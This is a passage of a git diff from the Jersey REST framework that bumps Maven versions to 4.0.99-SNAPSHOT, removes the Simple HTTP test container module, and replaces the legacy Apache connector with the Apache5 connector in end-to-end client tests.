-        final InjectionManager injectionManager = container.getApplicationHandler().getInjectionManager();
-
-        ServiceLocator serviceLocator;
-        if (injectionManager instanceof ImmediateHk2InjectionManager) {
-            serviceLocator = ((ImmediateHk2InjectionManager) injectionManager).getServiceLocator();
-        } else if (injectionManager instanceof DelayedHk2InjectionManager) {
-            serviceLocator = ((DelayedHk2InjectionManager) injectionManager).getServiceLocator();
-        } else {
-            throw new RuntimeException("Invalid Hk2 InjectionManager");
-        }
-        assertTrue(serviceLocator.getParent() == locator,
-                   "Application injection manager was expected to have defined parent locator");
-    }
-    @Test
-    public void testHttp2Container() {
-        final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null);
-        final Server server = Jetty11Http2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"),
-                new ResourceConfig(Resource.class), true, locator);
-        final List<String> protocols = server.getConnectors()[0].getProtocols();
-        assertTrue(protocols.contains("h2") || protocols.contains("h2c"));
-    }
-}
diff --git a/test-framework/providers/netty/pom.xml b/test-framework/providers/netty/pom.xml
index 04fc3d0..9abd229 100644
--- a/test-framework/providers/netty/pom.xml
+++ b/test-framework/providers/netty/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-netty</artifactId>
diff --git a/test-framework/providers/pom.xml b/test-framework/providers/pom.xml
index 1bb01c3..a102e5d 100644
--- a/test-framework/providers/pom.xml
+++ b/test-framework/providers/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.test-framework.providers</groupId>
@@ -42,6 +42,5 @@
         <module>jetty</module>
         <module>jetty-http2</module>
         <module>netty</module>
-        <module>simple</module>
     </modules>
 </project>
diff --git a/test-framework/providers/simple/pom.xml b/test-framework/providers/simple/pom.xml
deleted file mode 100644
index b7e0d8d..0000000
--- a/test-framework/providers/simple/pom.xml
+++ /dev/null
@@ -1,58 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <parent>
-        <artifactId>project</artifactId>
-        <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-        <version>3.1.99-SNAPSHOT</version>
-    </parent>
-    <modelVersion>4.0.0</modelVersion>
-
-    <artifactId>jersey-test-framework-provider-simple</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-test-framework-provider-simple</name>
-
-    <description>Jersey Test Framework - Simple HTTP container</description>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework</groupId>
-            <artifactId>jersey-test-framework-core</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-simple-http</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.core</groupId>
-            <artifactId>jersey-server</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.core</groupId>
-            <artifactId>jersey-client</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-
-    </dependencies>
-
-</project>
diff --git a/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/SimpleTestContainerFactory.java b/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/SimpleTestContainerFactory.java
deleted file mode 100644
index 3b123db..0000000
--- a/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/SimpleTestContainerFactory.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.simple;
-
-import java.io.IOException;
-import java.net.URI;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.simple.SimpleContainerFactory;
-import org.glassfish.jersey.simple.SimpleServer;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerException;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-/**
- * Factory for testing {@link org.glassfish.jersey.simple.SimpleContainer}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public class SimpleTestContainerFactory implements TestContainerFactory {
-
-    private static class SimpleTestContainer implements TestContainer {
-
-        private static final Logger LOGGER = Logger.getLogger(SimpleTestContainer.class.getName());
-
-        private final DeploymentContext deploymentContext;
-
-        private URI baseUri;
-        private SimpleServer server;
-
-        private SimpleTestContainer(final URI baseUri, final DeploymentContext context) {
-            final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
-
-            if (!"/".equals(base.getRawPath())) {
-                throw new TestContainerException(String.format(
-                        "Cannot deploy on %s. Simple framework container only supports deployment on root path.",
-                        base.getRawPath()));
-            }
-
-            this.baseUri = base;
-
-            if (LOGGER.isLoggable(Level.INFO)) {
-                LOGGER.info("Creating SimpleTestContainer configured at the base URI " + this.baseUri);
-            }
-            this.deploymentContext = context;
-        }
-
-        @Override
-        public ClientConfig getClientConfig() {
-            return null;
-        }
-
-        @Override
-        public URI getBaseUri() {
-            return baseUri;
-        }
-
-        @Override
-        public void start() {
-            LOGGER.log(Level.FINE, "Starting SimpleTestContainer...");
-
-            try {
-                server = SimpleContainerFactory.create(baseUri, deploymentContext.getResourceConfig());
-
-                if (baseUri.getPort() == 0) {
-                    baseUri = UriBuilder.fromUri(baseUri)
-                            .port(server.getPort())
-                            .build();
-
-                    LOGGER.log(Level.INFO, "Started SimpleTestContainer at the base URI " + baseUri);
-                }
-            } catch (ProcessingException e) {
-                throw new TestContainerException(e);
-            }
-        }
-
-        @Override
-        public void stop() {
-            LOGGER.log(Level.FINE, "Stopping SimpleTestContainer...");
-            try {
-                this.server.close();
-            } catch (IOException ex) {
-                LOGGER.log(Level.WARNING, "Error Stopping SimpleTestContainer...", ex);
-            } finally {
-                this.server = null;
-            }
-        }
-    }
-
-    @Override
-    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
-        return new SimpleTestContainer(baseUri, context);
-    }
-}
diff --git a/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/package-info.java b/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/package-info.java
deleted file mode 100644
index b173718..0000000
--- a/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/package-info.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey test framework for Simple Container classes.
- */
-package org.glassfish.jersey.test.simple;
diff --git a/test-framework/providers/simple/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/simple/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
deleted file mode 100644
index 6b62bfd..0000000
--- a/test-framework/providers/simple/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.test.simple.SimpleTestContainerFactory
\ No newline at end of file
diff --git a/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/AvailablePortSimpleTest.java b/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/AvailablePortSimpleTest.java
deleted file mode 100644
index 5e3ab0b..0000000
--- a/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/AvailablePortSimpleTest.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.JerseyTest;
-import org.glassfish.jersey.test.TestProperties;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.hamcrest.CoreMatchers.not;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * Tests finding an available port for container.
- *
- * @author Michal Gajdos
- */
-public class AvailablePortSimpleTest extends JerseyTest {
-
-    @Override
-    protected TestContainerFactory getTestContainerFactory() {
-        return new SimpleTestContainerFactory();
-    }
-
-    @Path("AvailablePortSimpleTest")
-    public static class TestResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-    }
-
-    @Override
-    protected DeploymentContext configureDeployment() {
-        forceSet(TestProperties.CONTAINER_PORT, "0");
-
-        return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build();
-    }
-
-    @Test
-    public void testGet() {
-        assertThat(target().getUri().getPort(), not(0));
-        assertThat(getBaseUri().getPort(), not(0));
-
-        assertThat(target("AvailablePortSimpleTest").request().get(String.class), equalTo("GET"));
-    }
-}
diff --git a/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/SimpleContainerTest.java b/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/SimpleContainerTest.java
deleted file mode 100644
index 4b869cf..0000000
--- a/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/SimpleContainerTest.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.simple.SimpleContainer;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Test class for {@link SimpleContainer}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Miroslav Fuksa
- */
-public class SimpleContainerTest extends JerseyTest {
-
-    /**
-     * Creates new instance.
-     */
-    public SimpleContainerTest() {
-        super(new SimpleTestContainerFactory());
-    }
-
-    @Override
-    protected ResourceConfig configure() {
-        return new ResourceConfig(Resource.class);
-    }
-
-    /**
-     * Test resource class.
-     */
-    @Path("one")
-    public static class Resource {
-
-        /**
-         * Test resource method.
-         *
-         * @return Test simple string response.
-         */
-        @GET
-        public String getSomething() {
-            return "get";
-        }
-    }
-
-    @Test
-    /**
-     * Test {@link Simple HttpServer} container.
-     */
-    public void testSimpleContainerTarget() {
-        final Response response = target().path("one").request().get();
-
-        assertEquals(200, response.getStatus(), "Response status unexpected.");
-        assertEquals("get", response.readEntity(String.class), "Response entity unexpected.");
-    }
-}
diff --git a/test-framework/util/pom.xml b/test-framework/util/pom.xml
index d3c30fc..995da0b 100644
--- a/test-framework/util/pom.xml
+++ b/test-framework/util/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-util</artifactId>
diff --git a/tests/e2e-client/pom.xml b/tests/e2e-client/pom.xml
index f375038..0e3b819 100644
--- a/tests/e2e-client/pom.xml
+++ b/tests/e2e-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-client</artifactId>
@@ -36,6 +36,24 @@
         <plugins>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+                <executions>
+                    <execution>
+                        <id>default-testCompile</id>
+                        <phase>test-compile</phase>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                        <goals>
+                            <goal>testCompile</goal>
+                        </goals>
+                    </execution>
+                </executions>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-surefire-plugin</artifactId>
                 <configuration>
                     <forkCount>1</forkCount>
@@ -128,11 +146,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
@@ -213,128 +226,19 @@
             <artifactId>commons-io</artifactId>
             <version>${commons.io.version}</version>
         </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jetty-connector</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-jetty</artifactId>
+        </dependency>
     </dependencies>
 
     <profiles>
         <profile>
-            <id>Jetty12Default</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-jetty-connector</artifactId>
-                    <scope>test</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-                    <artifactId>jersey-test-framework-provider-jetty</artifactId>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
-            <id>Jetty11JDK11</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-jetty11-connector</artifactId>
-                    <scope>test</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-client</artifactId>
-                    <version>${jetty11.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-http</artifactId>
-                    <version>${jetty11.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                        <exclusion>
-                            <groupId>org.eclipse.jetty</groupId>
-                            <artifactId>jetty-util</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-io</artifactId>
-                    <version>${jetty11.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                        <exclusion>
-                            <groupId>org.eclipse.jetty</groupId>
-                            <artifactId>jetty-util</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-util</artifactId>
-                    <version>${jetty11.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                    <version>${slf4j.version}</version>
-                </dependency>
-            </dependencies>
-        </profile>
-
-        <profile>
-            <id>JettyTestExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>default-testCompile</id>
-                                <phase>test-compile</phase>
-                                <configuration>
-                                    <testExcludes>
-                                        <testExclude>org/glassfish/jersey/tests/e2e/client/connector/proxy/Proxy*Test.java</testExclude>
-                                        <testExclude>org/glassfish/jersey/tests/e2e/client/connector/NoContentLengthTest.java</testExclude>
-                                        <testExclude>org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java</testExclude>
-                                    </testExcludes>
-                                </configuration>
-                                <goals>
-                                    <goal>testCompile</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>xdk</id>
             <properties>
                 <!-- do not use security manager for xdk -->
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/BufferingTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/BufferingTest.java
index 5762179..07620f4 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/BufferingTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/BufferingTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,6 @@
 import jakarta.ws.rs.core.Response;
 import jakarta.ws.rs.core.UriBuilder;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
@@ -76,7 +75,6 @@
 
     public static Stream<Arguments> clientConfigs() {
         return Stream.of(
-                Arguments.of(new TestArguments(() -> new ApacheConnectorProvider(), RequestEntityProcessing.CHUNKED)),
                 Arguments.of(new TestArguments(() -> new Apache5ConnectorProvider(), RequestEntityProcessing.CHUNKED)),
                 Arguments.of(new TestArguments(() -> new GrizzlyConnectorProvider(), RequestEntityProcessing.CHUNKED)),
                 Arguments.of(new TestArguments(() -> new NettyConnectorProvider(), RequestEntityProcessing.CHUNKED)),
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/InjectionManagerProviderTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/InjectionManagerProviderTest.java
index 6ec8640..5b5e180 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/InjectionManagerProviderTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/InjectionManagerProviderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -41,7 +41,7 @@
 
 import org.glassfish.jersey.InjectionManagerProvider;
 import org.glassfish.jersey.client.InjectionManagerClientProvider;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/ShutdownHookMemoryLeakTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/ShutdownHookMemoryLeakTest.java
index e0538a3..3a88216 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/ShutdownHookMemoryLeakTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/ShutdownHookMemoryLeakTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,7 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientLifecycleListener;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
@@ -67,7 +67,7 @@
         return Arrays.asList(
                 new GrizzlyConnectorProvider(),
                 new JettyConnectorProvider(),
-                new ApacheConnectorProvider(),
+                new Apache5ConnectorProvider(),
                 new HttpUrlConnectorProvider()
         );
     }
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/FutureCancelTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/FutureCancelTest.java
index 72b2d41..6ca9141 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/FutureCancelTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/FutureCancelTest.java
@@ -16,7 +16,6 @@
 
 package org.glassfish.jersey.tests.e2e.client.connector;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.AbstractRxInvoker;
 import org.glassfish.jersey.client.ClientConfig;
@@ -62,7 +61,6 @@
 
     public static List<ConnectorProvider> testData() {
         return Arrays.asList(
-                new ApacheConnectorProvider(),
                 new Apache5ConnectorProvider(),
                 new HttpUrlConnectorProvider(),
                 new NettyConnectorProvider()
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
index f2c7d82..58b38b3 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,7 +32,6 @@
 import jakarta.ws.rs.core.GenericType;
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
@@ -63,7 +62,6 @@
         final ConnectorProvider[] providers = new ConnectorProvider[] {
                 new JdkConnectorProvider(),
                 new GrizzlyConnectorProvider(),
-                new ApacheConnectorProvider(),
                 new Apache5ConnectorProvider(),
                 new NettyConnectorProvider(),
                 new JavaNetHttpConnectorProvider(),
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/NoContentLengthTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/NoContentLengthTest.java
index e3c3caf..ce8600e 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/NoContentLengthTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/NoContentLengthTest.java
@@ -16,7 +16,6 @@
 
 package org.glassfish.jersey.tests.e2e.client.connector;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
@@ -107,7 +106,6 @@
 
     public static List<ConnectorProvider> providers() {
         return Arrays.asList(
-                new ApacheConnectorProvider(),
                 new Apache5ConnectorProvider(),
                 new HttpUrlConnectorProvider(),
                 new NettyConnectorProvider(),
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
index adc1b27..8be605d 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -53,7 +53,6 @@
 
 import jakarta.annotation.Priority;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
@@ -105,13 +104,11 @@
                 {new HttpUrlConnectorProvider(), true, true, false, false},
                 {new GrizzlyConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
                 {new JettyConnectorProvider(), true, false, false, false}, // change to true when JERSEY-2341 fixed
-                {new ApacheConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
                 {new Apache5ConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
                 {new JavaNetHttpConnectorProvider(), true, true, false, false},
                 {new HttpUrlConnectorProvider(), true, true, true, true},
                 {new GrizzlyConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
                 {new JettyConnectorProvider(), true, false, true, false}, // change to true when JERSEY-2341 fixed
-                {new ApacheConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
                 {new Apache5ConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
                 {new JavaNetHttpConnectorProvider(), true, true, false, false},
         });
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
index 9da5b53..a11400e 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
